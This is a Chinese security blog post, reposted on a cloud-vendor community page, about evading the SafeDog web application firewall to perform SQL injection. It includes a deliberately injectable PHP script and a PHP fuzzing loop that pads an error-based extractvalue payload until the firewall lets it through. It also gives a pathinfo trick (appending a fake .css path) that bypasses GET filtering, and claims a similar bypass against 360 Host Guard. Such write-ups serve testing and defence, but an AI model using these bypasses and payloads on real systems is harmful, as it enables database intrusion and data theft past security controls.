記一次720度托馬斯迴旋過狗!

來源:互聯網
上載者:User

標籤:對象   沒有   number   arch   sso   myisam   ade   windows   generator   

索馬里的海賊

來源:ichunqiu

本文屬i春秋原創獎勵計劃,未經許可禁止轉載!
前言
前些日子測試漏洞碰上了安全狗,一直做代碼審計沒什麼實戰經驗 被虐的不要不要的。找了一些網上的方法,基本上封的封有限制的有限制,沒什麼通用的好方法(當然也可能是我找的姿勢不對)。昨天有點時間就特地看了下安全狗的邏輯做了一些fuzz,成功bypass了GET和POST的注入防禦,不是特別通用,就當給大夥分享一些思路。

本文
測試環境
Windows Server 2003 Enterprise Edition Service Pack 2
Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
網站安全狗(APACHE版) V3.5正式版

  • 1.主程式版本:3.5.12048
  • 2.網馬庫版本:2016-06-29

測試代碼
sqlin.php:

<?php$link = mysql_connect(‘localhost‘, ‘root‘, ‘root‘); mysql_select_db(‘anquangou‘, $link);$sql = ‘select * from `user` where `id`=‘.$_REQUEST[‘id‘]; echo $sql."<br>\n";$result =mysql_query($sql);while($array = mysql_fetch_assoc($result)){ echo "id:".$array[‘Id‘]."<br />\n";echo "username:".$array[‘username‘]."<br />\n"; echo "password:".$array[‘password‘]."<br />\n";}echo mysql_error();

 

資料庫:

 

# Host: localhost        (Version: 5.5.53)#        Date: 2016-11-19 17:57:30# Generator: MySQL-Front 5.3 (Build 4.234)/*!40101 SET NAMES utf8 */;## Structure for table "admin"#DROP TABLE IF EXISTS `admin`;CREATE TABLE `admin` (`Id` int(11) NOT NULL AUTO_INCREMENT, `admin_name` varchar(255) DEFAULT NULL, `admin_pass` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;## Data for table "admin"#/*!40000 ALTER TABLE `admin` DISABLE KEYS */; INSERT INTO `admin` VALUES (1,‘admin‘,‘admin888‘);/*!40000 ALTER TABLE `admin` ENABLE KEYS */;## Structure for table "user"#DROP TABLE IF EXISTS `user`;CREATE TABLE `user` (`Id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;## Data for table "user"#/*!40000 ALTER TABLE `user` DISABLE KEYS */;INSERT INTO `user` VALUES (1,‘user‘,‘userpass‘),(2,‘user2‘,‘upass2‘); /*!40000 ALTER TABLE `user` ENABLE KEYS */;


GET型注入

GET型的注入其實能動手腳的地方不多,就一個url。安全狗沒有公開自己的防護規則,不過有添加規則的功能,看了下是用正則文法。猜測官方規則應該也是正則。繞過有兩種選擇:

1.繞過正則的匹配,匹配失敗當然就不會被攔截了。

2.繞過(或者打亂)程式的邏輯。不進入匹配邏輯也就不會攔截了。

對於正則繞過,在不知道防護規則具體Regex的前提下,就只能fuzz了,各種穿插配合。不過我嘗試的是第二種方法。

安全狗的原理是往Web Service中注入一個模組,搶在Web Service處理之前獲得HTTP請求並根據規則處理,沒問題就交給Web Service繼續處理,有問題就攔截並返回自訂錯誤資訊。
一個簡單的測試



fakefile.php實際上並不存在,但是仍然會被安全狗攔下來。當然也包括php5 php4 asp cer asa等等等等 甚至副檔名是.111都會攔截。不過也有例外,常見的靜態檔案(.js .jpg .swf .css等等)它是不管的。

可以看到並沒有出攔截提示而是直接404了 所以猜測安全狗應該是存在類似白名單機制的,特定的靜態資源尾碼請求就不處理直接交給webserver 這種處理看起來沒問題其實是存在隱患的 Apache和IIS預設都開啟pathinfo支援 來做個測試

對php來說 請求的是sqlin.php 後面的/pathinfo.css是 PATH_INFO 但是安全狗好像把 pathinfo.css 當作了真正的請求對象,因為是靜態資源 所以不做處理直接把請求丟給了php。
就這麼秒了?對。。是不是so easy?
        
POST型注入
POST型再用pathinfo就不好使了 因為正常對靜態資源的請求不會用post 所以也不用什麼白名單了 任何POST請求都要先進狗嘴了繞一圈 那麼就想辦法來fuzz一下吧 構造一個post指令碼

<?php $i=10000;$url = ‘http://192.168.1.121/sqlin.php‘; for(;;){$i++;echo "$i\n";$payload = ‘id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1=‘.str_repeat(‘3‘,$i); $ret = doPost($url,$payload);if(!strpos($ret,‘網站防火牆‘)){echo "done!\n".strlen($payload)."\n".$ret; die();}}function doPost($url,$data=‘‘){ $ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch);curl_close ($ch); return $return;}


在正常的注入語句後面加入超長字串 然而跑了很久都沒結果 於是停下指令碼 換換位置 把超長字串放在中間

$payload = ‘id=-1 and 1=‘.str_repeat(‘3‘,$i).‘ and (extractvalue(1,concat(0x7e,(select user()),0x7e)))‘;

跑起來

wtf?又秒了?瀏覽器中試一下


太坑了 我才剛脫褲子你告訴我結束了

後記

其實實際測試中過程要複雜的多,時間關係挑了成功的步驟寫一下pathinfo其實是一個很容易被忽視的問題 順帶測試了一下360的主機衛士 也存在相同的問題。而且360的主機衛士內建的白名單還有類似於dede admin 這樣的(後台操作不防禦)可以用
http://example.com/index.php/admin/?id=sql注入這種方式來秒

更多安全技術、精品好文、白帽駭客大佬盡在:http://bbs.ichunqiu.com/portal.php

記一次720度托馬斯迴旋過狗!

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.